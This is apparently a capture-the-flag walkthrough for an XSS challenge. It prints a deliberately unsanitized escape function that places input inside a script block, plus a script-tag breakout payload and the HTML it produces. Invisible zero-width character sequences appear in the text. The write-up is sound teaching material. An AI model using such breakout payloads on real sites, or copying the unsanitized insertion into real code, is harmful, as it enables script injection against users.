Easy 5

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: html_parser_priority, script_tag_breakout

Summary

Walkthrough of the CUSTOM Web Easy 5. XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Description

XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Analysis

Escape function:

 javascript read-only • copy allowed Copy
function escape(s) {
  return '<script>\r\n var a = "", b = "";\r\n' +
         'var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: ' + s + '}}}}}}};\r\n' +
         '</script>';
}

Input s is placed directly inside a deeply nested JavaScript object as a value expression. No sanitization is performed. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key insight: HTML parser has priority over JavaScript parser. When the HTML parser encounters </script>, it closes the script block immediately, regardless of JavaScript syntax context.

Solution

Close the script tag and inject a new script block:

Payload:

1</script><script>prompt("sibears")</script>

Result:

 html read-only • copy allowed Copy
<script>
 var a = "", b = "";
var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: 1</script><script>prompt("sibears")</script>}}}}}}}; 
</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How it works:

1. 1 provides a valid value for the object property
2. </script> closes the original script block (HTML parser priority)
3. <script>prompt("sibears")</script> opens a new script block with XSS payload
4. The remaining }}}}}}}; </script> becomes invalid HTML text (ignored)

The first script block has a syntax error but the second script block executes successfully. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering html_parser_priority, script_tag_breakout was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Easy 5 • Difficulty: Easy